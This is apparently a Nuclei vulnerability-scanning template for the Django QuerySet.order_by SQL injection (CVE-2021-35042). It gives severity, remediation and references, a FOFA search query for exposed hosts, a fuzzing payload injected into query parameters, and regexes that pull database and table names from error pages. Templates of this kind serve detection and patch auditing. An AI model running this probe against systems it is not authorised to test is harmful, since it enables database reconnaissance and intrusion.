id: CVE-2021-35042

info:
  name: Django QuerySet.order_by - SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 contain a SQL injection caused by untrusted input in QuerySet.order_by. Attackers can execute arbitrary SQL commands if they control order_by input parameters.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to Django 3.1.13 or 3.2.5 or later versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35042
    - https://github.com/zer0qs/CVE-2021-35042
    - https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
    epss-score: 0.90367
    epss-percentile: 0.99617
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
  tags: cve,cve2021,django,sqli,dast

variables:
  rand_string: '{{rand_text_alpha(10, "abc")}}'

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    fuzzing:
      - part: query
        fuzz:
          - "vuln.{{rand_string}}]--"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "ORDER BY") && contains_any(body, "ProgrammingError", "DatabaseError")'
          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'
          - 'status_code == 500'
        condition: and

    extractors:
      - type: regex
        name: database
        part: body
        group: 1
        regex:
          - "django\\.db\\.backends\\.(postgresql|mysql|sqlite3|oracle)"

      - type: regex
        name: tables
        part: body
        group: 1
        regex:
          - 'FROM\s+"([a-zA-Z_][a-zA-Z0-9_]*)"'
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
# digest: 4b0a00483046022100ef42b96feedc70d7e3b51dc1a1af80fe62cf25197744f90f3c0f3ee2aa857b91022100e74a7ae18fc4b5b73e4b5518ea832c062efba65350e7f6187bede8ce8938b97b:922c64590222798bb761d5b6d8e72950